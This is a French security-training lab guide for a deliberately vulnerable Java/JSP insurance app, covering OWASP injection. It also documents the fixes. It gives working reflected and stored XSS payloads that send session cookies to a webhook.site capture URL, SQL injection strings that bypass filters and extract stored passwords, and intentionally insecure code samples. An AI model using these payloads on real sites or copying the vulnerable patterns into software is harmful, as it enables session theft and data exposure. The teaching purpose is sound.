Injection (XSS & SQLi)
Java 8 · Servlet · JSP
XSS reflected et stored via JSP sans échappement. Injection SQL par concaténation de chaînes.
Cas n°5 — A05:2025 Injection (XSS + SQL Injection)
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=05
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=05 -e variant=secure
Référence OWASP
Référence OWASP : A05:2025 - Injection
Stack : Java 8 · Servlet API 4.0 · JSP · H2 embedded · Tomcat 9
Lancement : mvn package exec:java (depuis vulnerable/ ou secure/)
démos vidéo
| Etape | Démo |
|---|---|
| Application vulnérable, déploiement | 05_vulnerable_01_deploy.mp4 |
| Application vulnérable, exploit | 05_vulnerable_02_demo.mp4 |
| Application sécurisée, déploiement | 05_secure_01_deploy.mp4 |
| Application sécurisée, tentative d'exploit | 05_secure_02_demo.mp4 |
Conditions de démonstration
La démonstration du vol de cookie utilise webhook.site comme serveur de capture : toute requête entrante est loggée en temps réel, sans infrastructure à déployer.
| Rôle | Machine | Adresse |
|---|---|---|
| Serveur applicatif | VPS formation | https://appsec.cc |
| Serveur de capture | webhook.site | https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba |
| Victime | Poste d'un stagiaire | navigateur pointant sur appsec.cc |
Prérequis : ouvrir
https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbbadans un onglet pour voir les requêtes entrantes en temps réel.
Scénario métier
L'espace gestionnaire de Assuria Assurances expose deux fonctionnalités vulnérables :
- Formulaire de recherche de contrats — le terme recherché est réaffiché dans la page de résultats sans être encodé (XSS Reflected) et la requête SQL est construite par concaténation (SQL Injection).
- Commentaires sur les dossiers sinistres — un gestionnaire malveillant peut insérer un script dans un commentaire, qui s'exécutera pour tous les utilisateurs consultant ce dossier (XSS Stored).
Comptes de test
| Login | Mot de passe | Rôle |
|---|---|---|
admin |
admin123 |
Gestionnaire |
user |
user123 |
Assuré |
Vulnérabilités — version vulnerable/
1. XSS Reflected — Formulaire de recherche
Localisation : SearchServlet.java → search-results.jsp
La JSP affiche le terme recherché directement dans le HTML :
<%-- VULNERABLE --%>
<h2>Résultats pour : <%= query %></h2>
Exploit — ouvrir dans un navigateur connecté :
https://appsec.cc/search?q=<script>alert('XSS')</script>
Une alerte JavaScript s'affiche : le code s'exécute dans le navigateur de la victime.
Vol de cookie — avec webhook.site ouvert dans un onglet :
https://appsec.cc/search?q=<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba/?'+document.cookie>
Le cookie JSESSIONID s'affiche dans le tableau de bord webhook.site, permettant à l'attaquant d'usurper la session.
2. XSS Stored — Commentaires sur les sinistres
Localisation : CommentaireServlet.java → CommentaireDao.java → sinistre-detail.jsp
Le commentaire est stocké en base sans assainissement et affiché sans encodage :
<%-- VULNERABLE --%>
<p><%= c.getContenu() %></p>
Exploit :
- Se connecter en tant qu'
admin - Aller sur
https://appsec.cc/sinistre?id=1 - Saisir dans le champ "Ajouter une note" :
Note de suivi <img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba/?'+document.cookie> - Se déconnecter, se reconnecter en tant qu'
user - Naviguer vers
https://appsec.cc/sinistre?id=1 - Le script s'exécute automatiquement → le cookie d'
userapparaît sur webhook.site
Pourquoi c'est grave : contrairement au XSS Reflected qui nécessite que la victime clique sur un lien piégé, le XSS Stored s'exécute de manière persistante pour tous les utilisateurs qui consultent la page, sans aucune interaction supplémentaire.
3. SQL Injection — Recherche de contrats
Localisation : ContratDao.java · méthode search()
// VULNERABLE : concaténation SQL
String sql = "SELECT * FROM contrats WHERE numero LIKE '%" + query + "%' OR assure LIKE '%" + query + "%'";
Exploit 1 — bypass du filtre : saisir dans la recherche :
' OR '1'='1
Tous les contrats s'affichent (la condition est toujours vraie).
Exploit 2 — extraction des utilisateurs : saisir :
' UNION SELECT id, login, password, role FROM users --
Les logins et mots de passe de la table users apparaissent dans les résultats.
4. Cookie sans HttpOnly
Localisation : Main.java (vulnerable)
// VULNERABLE
ctx.setUseHttpOnly(false);
Le cookie JSESSIONID est accessible via document.cookie. Combiné avec le XSS, l'attaquant peut récupérer la session d'une victime.
Vérification : ouvrir la console DevTools du navigateur et taper :
document.cookie // affiche JSESSIONID=...
Correctifs — version secure/
1. Échappement HTML avec JSTL <c:out>
<%-- SECURISE : <c:out> échappe < > & " ' en entités HTML --%>
<h2>Résultats pour : <c:out value="${query}" /></h2>
<%-- Commentaires --%>
<p><c:out value="${commentaire.contenu}" /></p>
<c:out value="..."> convertit automatiquement <script>alert(1)</script> en <script>alert(1)</script> — le texte s'affiche tel quel, sans être exécuté.
2. PreparedStatement pour le SQL
// SECURISE : requête paramétrée
String sql = "SELECT * FROM contrats WHERE numero LIKE ? OR assure LIKE ?";
pstmt = conn.prepareStatement(sql);
pstmt.setString(1, "%" + query + "%");
pstmt.setString(2, "%" + query + "%");
La valeur de query est transmise comme paramètre de données — jamais comme SQL. L'injection est impossible.
3. Validation des entrées (InputValidator)
// Valide la recherche : que des caractères alphanumériques
if (!InputValidator.isValidSearchQuery(query)) {
// Refus de la requête
}
// Sanitise les commentaires : suppression des balises HTML
String contenuSanitise = InputValidator.sanitizeComment(contenu);
4. Content Security Policy (SecurityHeadersFilter)
// SECURISE : interdit les scripts inline
response.setHeader("Content-Security-Policy",
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
response.setHeader("X-Content-Type-Options", "nosniff");
response.setHeader("X-Frame-Options", "DENY");
response.setHeader("X-XSS-Protection", "1; mode=block");
Même si un script XSS passe les autres défenses, la CSP empêche son exécution dans le navigateur.
5. Cookie HttpOnly
// Main.java (secure) — HttpOnly actif par défaut dans Tomcat
// ctx.setUseHttpOnly(true); // valeur par défaut
Le cookie JSESSIONID n'est plus accessible via document.cookie. Même en cas de XSS résiduel, le vol de session par JavaScript est bloqué.
Défense en profondeur — les 5 couches
| Couche | Mécanisme | Protège contre |
|---|---|---|
| 1. Validation entrée | InputValidator.isValidSearchQuery() |
SQLi + XSS Reflected (en amont) |
| 2. Sanitisation entrée | InputValidator.sanitizeComment() |
XSS Stored (suppression des balises) |
| 3. Requête paramétrée | PreparedStatement |
SQL Injection |
| 4. Échappement sortie | <c:out> (JSTL) |
XSS Reflected + Stored |
| 5. En-têtes HTTP | CSP + HttpOnly | XSS résiduels + vol de session |
Règle fondamentale : ne jamais faire confiance aux données en entrée, toujours les encoder en sortie.
Démonstration pas-à-pas
Prérequis
# Lancer l'application vulnérable
cd vulnerable
mvn package exec:java
Via les scripts fournis
Linux/Mac :
chmod +x exploit/exploit-linux.sh
./exploit/exploit-linux.sh
Windows :
exploit\exploit-windows.bat
Manuel dans le navigateur
- Ouvrir
https://appsec.cc/login· se connecter avecadmin / admin123 - XSS Reflected : aller sur
/search?q=<script>alert(document.cookie)</script> - SQL Injection : saisir
' OR '1'='1dans le champ de recherche - XSS Stored : sur
/sinistre?id=1, ajouter le commentaire :<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba/?'+document.cookie> - Se déconnecter · se connecter avec
user / user123· aller sur/sinistre?id=1 - Observer le cookie volé sur webhook.site
Points clés à retenir
<%= %>dans une JSP est dangereux avec des données utilisateur — toujours utiliser<c:out>oufn:escapeXml()- Le XSS Stored est plus dangereux que le XSS Reflected : il n'exige pas d'interaction de la victime et persiste
- La CSP est une ligne de défense supplémentaire, pas un remplacement de l'encodage de sortie
- HttpOnly rend le vol de cookie par XSS impossible : protéger systématiquement les cookies de session
- La validation à l'entrée ne suffit pas : l'encodage à la sortie est indispensable (defense in depth)